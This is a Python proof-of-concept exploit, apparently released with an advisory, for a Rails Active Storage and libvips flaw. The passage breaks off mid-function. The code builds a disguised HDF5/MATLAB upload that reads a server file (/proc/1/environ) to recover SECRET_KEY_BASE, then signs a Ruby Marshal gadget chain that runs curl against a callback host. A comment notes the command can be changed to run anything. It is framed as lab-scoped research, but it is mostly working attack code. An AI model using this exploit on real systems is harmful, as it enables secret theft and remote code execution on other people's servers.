Rails Active Storage Arbitrary File Read to RCE via libvips Unfuzzed Loaders (CVE-2026-66066)

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#!/usr/bin/env python3
"""One-shot lab-scoped GHSA-xr9x-r78c-5hrm reproduction.

The script constructs its own upload artifact, then:

1. creates the external-storage MATLAB/HDF5 image;
2. constructs and embeds the unsigned Ruby Marshal OOB graph;
3. uploads a normal PNG through the application's ordinary HTML form;
4. direct-uploads the constructed artifact as an unidentified BMP;
5. recovers SECRET_KEY_BASE from the returned representation;
6. signs the embedded Marshal payload; and
7. triggers its one correlation-only HTTP GET.

No secret, file contents, command output, or target identifier is included in
the callback.

Dependency:
    python3 -m pip install h5py
"""

from __future__ import annotations

import argparse
import base64
from dataclasses import dataclass
import hashlib
import hmac
from html.parser import HTMLParser
import http.cookiejar
import ipaddress
import json
import os
from pathlib import Path
import secrets
import ssl
import struct
import sys
import tempfile
from typing import Mapping
import urllib.error
import urllib.parse
import urllib.request
import zlib


DEFAULT_TARGET = "http://127.0.0.1:3000"
DEFAULT_OAST = "http://127.0.0.1:8080/callback"
DEFAULT_EXTERNAL_PATH = "/proc/1/environ"
DEFAULT_DATASET_BYTES = 1024
MIN_DATASET_BYTES = 128
MAX_DATASET_BYTES = 4096
MAX_OAST_URL_BYTES = 1024
DATASET_NAME = "environment"
HDF5_USERBLOCK_SIZE = 512
HDF5_SIGNATURE = b"\x89HDF\r\n\x1a\n"
MATLAB_DESCRIPTION = b"MATLAB 5.0 external-storage safe lab"
MATLAB_VERSION = 0x0200
MATLAB_ENDIAN = b"IM"
PAYLOAD_MAGIC = b"RAILS_GHSA_OAST_PAYLOAD_V1\x00"
PAYLOAD_DIGEST_BYTES = hashlib.sha256().digest_size
USER_AGENT = "rails-ghsa-xr9x-lab-poc/1.0"


class PocError(RuntimeError):
    pass


class CsrfParser(HTMLParser):
    def __init__(self) -> None:
        super().__init__()
        self.token: str | None = None

    def handle_starttag(
        self, tag: str, attrs: list[tuple[str, str | None]]
    ) -> None:
        if tag.lower() != "meta":
            return
        values = dict(attrs)
        if values.get("name") == "csrf-token" and values.get("content"):
            self.token = values["content"]


class RepresentationParser(HTMLParser):
    def __init__(self) -> None:
        super().__init__()
        self.path: str | None = None

    def handle_starttag(
        self, tag: str, attrs: list[tuple[str, str | None]]
    ) -> None:
        if tag.lower() != "img":
            return
        source = dict(attrs).get("src")
        if source and "/rails/active_storage/representations/" in source:
            self.path = source


@dataclass
class HttpResult:
    status: int
    body: bytes
    headers: Mapping[str, str]
    url: str


@dataclass(frozen=True)
class EmbeddedPayload:
    oast: str
    callback_url: str
    nonce: str
    serialized: bytes


@dataclass(frozen=True)
class MarshalSymbol:
    name: str


@dataclass(frozen=True)
class MarshalModule:
    name: str


@dataclass(frozen=True)
class MarshalObject:
    class_name: str
    ivars: tuple[tuple[str, object], ...]


@dataclass(frozen=True)
class MarshalHash:
    pairs: tuple[tuple[object, object], ...]


class RubyMarshalWriter:
    """Minimal Ruby Marshal 4.8 writer for the OOB gadget graph."""

    def __init__(self) -> None:
        self.output = bytearray(b"\x04\x08")
        self.symbol_indexes: dict[str, int] = {}

    @staticmethod
    def packed_integer(value: int) -> bytes:
        if value == 0:
            return b"\x00"
        if 0 < value < 123:
            return bytes((value + 5,))
        if -124 < value < 0:
            return bytes(((value - 5) & 0xFF,))
        if value > 0:
            width = max(1, (value.bit_length() + 7) // 8)
            return bytes((width,)) + value.to_bytes(width, "little")
        raise ValueError("negative multi-byte Marshal integers are not needed")

    def write_symbol(self, name: str) -> None:
        existing = self.symbol_indexes.get(name)
        if existing is not None:
            self.output.extend(b";")
            self.output.extend(self.packed_integer(existing))
            return

        encoded = name.encode("utf-8")
        self.symbol_indexes[name] = len(self.symbol_indexes)
        self.output.extend(b":")
        self.output.extend(self.packed_integer(len(encoded)))
        self.output.extend(encoded)

    def write_string(self, value: str | bytes) -> None:
        encoded = value.encode("utf-8") if isinstance(value, str) else value
        self.output.extend(b'I"')
        self.output.extend(self.packed_integer(len(encoded)))
        self.output.extend(encoded)
        self.output.extend(self.packed_integer(1))
        self.write_symbol("E")
        self.output.extend(b"T")

    def write(self, value: object) -> None:
        if isinstance(value, MarshalSymbol):
            self.write_symbol(value.name)
        elif isinstance(value, MarshalModule):
            encoded = value.name.encode("utf-8")
            self.output.extend(b"m")
            self.output.extend(self.packed_integer(len(encoded)))
            self.output.extend(encoded)
        elif isinstance(value, MarshalObject):
            self.output.extend(b"o")
            self.write_symbol(value.class_name)
            self.output.extend(self.packed_integer(len(value.ivars)))
            for name, item in value.ivars:
                self.write_symbol(name)
                self.write(item)
        elif isinstance(value, MarshalHash):
            self.output.extend(b"{")
            self.output.extend(self.packed_integer(len(value.pairs)))
            for key, item in value.pairs:
                self.write(key)
                self.write(item)
        elif isinstance(value, (list, tuple)):
            self.output.extend(b"[")
            self.output.extend(self.packed_integer(len(value)))
            for item in value:
                self.write(item)
        elif isinstance(value, bool):
            self.output.extend(b"T" if value else b"F")
        elif isinstance(value, int):
            self.output.extend(b"i")
            self.output.extend(self.packed_integer(value))
        elif isinstance(value, (str, bytes)):
            self.write_string(value)
        elif value is None:
            self.output.extend(b"0")
        else:
            raise TypeError(f"unsupported Marshal value: {type(value).__name__}")

    def finish(self) -> bytes:
        return bytes(self.output)


def bounded_byte_count(value: str) -> int:
    try:
        result = int(value)
    except ValueError as error:
        raise argparse.ArgumentTypeError("must be an integer") from error
    if not MIN_DATASET_BYTES <= result <= MAX_DATASET_BYTES:
        raise argparse.ArgumentTypeError(
            f"must be between {MIN_DATASET_BYTES} and {MAX_DATASET_BYTES}"
        )
    return result


def oast_url_argument(value: str) -> str:
    try:
        result = validate_oast(value)
    except PocError as error:
        raise argparse.ArgumentTypeError(str(error)) from error
    if len(result.encode("utf-8")) > MAX_OAST_URL_BYTES - 64:
        raise argparse.ArgumentTypeError("OAST URL is too long")
    return result


def correlation_nonce(value: str) -> str:
    try:
        decoded = bytes.fromhex(value)
    except ValueError as error:
        raise argparse.ArgumentTypeError("must be hexadecimal") from error
    if len(decoded) != 16:
        raise argparse.ArgumentTypeError("must encode exactly 16 bytes")
    return value.lower()


def parse_args() -> argparse.Namespace:
    parser = argparse.ArgumentParser(
        description=(
            "Construct the upload artifact, reproduce the Rails/libvips "
            "chain, and issue one correlation-only HTTP callback."
        )
    )
    parser.add_argument(
        "--target",
        default=DEFAULT_TARGET,
        help="Rails origin (default: %(default)s)",
    )
    parser.add_argument(
        "--artifact",
        type=Path,
        help=(
            "optional path at which to retain the constructed artifact; an "
            "existing file is reused unless --force is passed"
        ),
    )
    parser.add_argument(
        "--force",
        action="store_true",
        help="rebuild and replace an existing --artifact file",
    )
    parser.add_argument(
        "--external-path",
        default=DEFAULT_EXTERNAL_PATH,
        help=(
            "absolute target-side file stored in the HDF5 external dataset "
            "(default: %(default)s)"
        ),
    )
    parser.add_argument(
        "--bytes",
        dest="byte_count",
        type=bounded_byte_count,
        default=DEFAULT_DATASET_BYTES,
        help=(
            f"bounded external dataset size, {MIN_DATASET_BYTES}-"
            f"{MAX_DATASET_BYTES} (default: %(default)s)"
        ),
    )
    parser.add_argument(
        "--oast",
        type=oast_url_argument,
        help=(
            "callback URL to embed when constructing; with a reused artifact, "
            "optionally assert its embedded URL"
        ),
    )
    parser.add_argument(
        "--nonce",
        type=correlation_nonce,
        help=(
            "optional 16-byte hexadecimal correlation nonce; a random nonce "
            "is generated when constructing, or this asserts the nonce in a "
            "reused artifact"
        ),
    )
    parser.add_argument(
        "--timeout",
        type=float,
        default=15.0,
        help="per-request timeout in seconds (default: %(default)s)",
    )
    parser.add_argument(
        "--insecure",
        action="store_true",
        help="disable TLS certificate verification for the target connection",
    )
    return parser.parse_args()


def normalized_origin(value: str) -> str:
    parsed = urllib.parse.urlsplit(value)
    if parsed.scheme not in {"http", "https"} or not parsed.hostname:
        raise PocError("--target must be an http:// or https:// origin")
    if parsed.username or parsed.password:
        raise PocError("--target must not contain URL credentials")
    if parsed.query or parsed.fragment:
        raise PocError("--target must not contain a query or fragment")
    path = parsed.path.rstrip("/")
    return urllib.parse.urlunsplit(
        (parsed.scheme, parsed.netloc, path, "", "")
    )


def is_literal_loopback(origin: str) -> bool:
    hostname = urllib.parse.urlsplit(origin).hostname
    if hostname == "localhost":
        return True
    try:
        return ipaddress.ip_address(hostname or "").is_loopback
    except ValueError:
        return False


def validate_oast(value: str) -> str:
    parsed = urllib.parse.urlsplit(value)
    if parsed.scheme not in {"http", "https"} or not parsed.hostname:
        raise PocError("--oast must be an http:// or https:// URL")
    if parsed.username or parsed.password:
        raise PocError("--oast must not contain URL credentials")
    if parsed.fragment:
        raise PocError("--oast must not contain a fragment")
    return value


def callback_probe_url(oast: str, nonce: str) -> str:
    parsed = urllib.parse.urlsplit(oast)
    query = urllib.parse.parse_qsl(parsed.query, keep_blank_values=True)
    query.append(("rails_ghsa_xr9x", nonce))
    probe = urllib.parse.urlunsplit(
        (
            parsed.scheme,
            parsed.netloc,
            parsed.path or "/",
            urllib.parse.urlencode(query),
            "",
        )
    )
    if len(probe.encode("utf-8")) > 1_024:
        raise PocError("OAST URL with correlation token exceeds 1024 bytes")
    return probe


def matlab_header() -> bytes:
    header = bytearray(b" " * 128)
    header[: len(MATLAB_DESCRIPTION)] = MATLAB_DESCRIPTION
    struct.pack_into("<H", header, 124, MATLAB_VERSION)
    header[126:128] = MATLAB_ENDIAN
    return bytes(header)

# RCE - This can be updatd to run anything; but curl is used to prove RCE safely.
def marshal_oast_payload(callback_url: str) -> bytes:
    tool = MarshalObject(
        "MiniMagick::Tool",
        (
            ("@name", "/usr/bin/curl"),
            (
                "@args",
                (
                    "--silent",
                    "--show-error",
                    "--max-time",
                    "8",
                    "--output",
                    "/dev/null",
                    "--user-agent",
                    USER_AGENT,
                    callback_url,
                    # The first request is the callback. The second URL fails
                    # immediately and prevents a duplicate callback while
                    # Rails rebuilds the surrounding Hash.
                    "http://127.0.0.1:1/",
                ),
            ),
            ("@options", MarshalHash(())),
        ),
    )
    proxy = MarshalObject(
        "ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy",
        (
            ("@instance", tool),
            ("@method", MarshalSymbol("call")),
            ("@var", "@tool"),
            ("@deprecator", MarshalModule("Kernel")),
        ),
    )
    envelope = MarshalHash(
        (
            (
                "_rails",
                MarshalHash(
                    (
                        ("data", MarshalHash(((proxy, 0),))),
                        ("pur", "variation"),
                    )
                ),
            ),
        )
    )
    writer = RubyMarshalWriter()
    writer.write(envelope)
    return writer.finish()


def payload_trailer(oast: str, nonce: str) -> tuple[bytes, EmbeddedPayload]:
    callback_url = callback_probe_url(oast, nonce)
    serialized = marshal_oast_payload(callback_url)
    manifest = json.dumps(
        {
            "callback_url": callback_url,
            "kind": "active-storage-ruby-marshal-oast",
            "nonce": nonce,
            "oast": oast,
            "program": "/usr/bin/curl",
            "version": 1,
        },
        separators=(",", ":"),
        sort_keys=True,
    ).encode("utf-8")
    body = (
        PAYLOAD_MAGIC
        + struct.pack(">II", len(manifest), len(serialized))
        + manifest
        + serialized
    )
    return (
        body + hashlib.sha256(body).digest(),
        EmbeddedPayload(oast, callback_url, nonce, serialized),
    )


def construct_artifact_file(
    output: Path,
    external_path: str,
    byte_count: int,
    oast: str,
    nonce: str,
) -> EmbeddedPayload:
    try:
        import h5py
    except ModuleNotFoundError as error:
        raise PocError(
            "h5py is required to construct the artifact; install it with: "
            "python3 -m pip install h5py"
        ) from error

    with h5py.File(output, "w", userblock_size=HDF5_USERBLOCK_SIZE) as mat_file:
        dataset = mat_file.create_dataset(
            DATASET_NAME,
            shape=(1, byte_count),
            dtype="<u1",
            external=[(external_path, 0, byte_count)],
        )
        dataset.attrs.create("MATLAB_class", b"uint8", dtype="S5")

    trailer, payload = payload_trailer(oast, nonce)
    with output.open("r+b") as artifact_file:
        artifact_file.write(matlab_header())
        artifact_file.seek(0, os.SEEK_END)
        artifact_file.write(trailer)
    return payload


def validate_artifact_layout(
    artifact: bytes,
    *,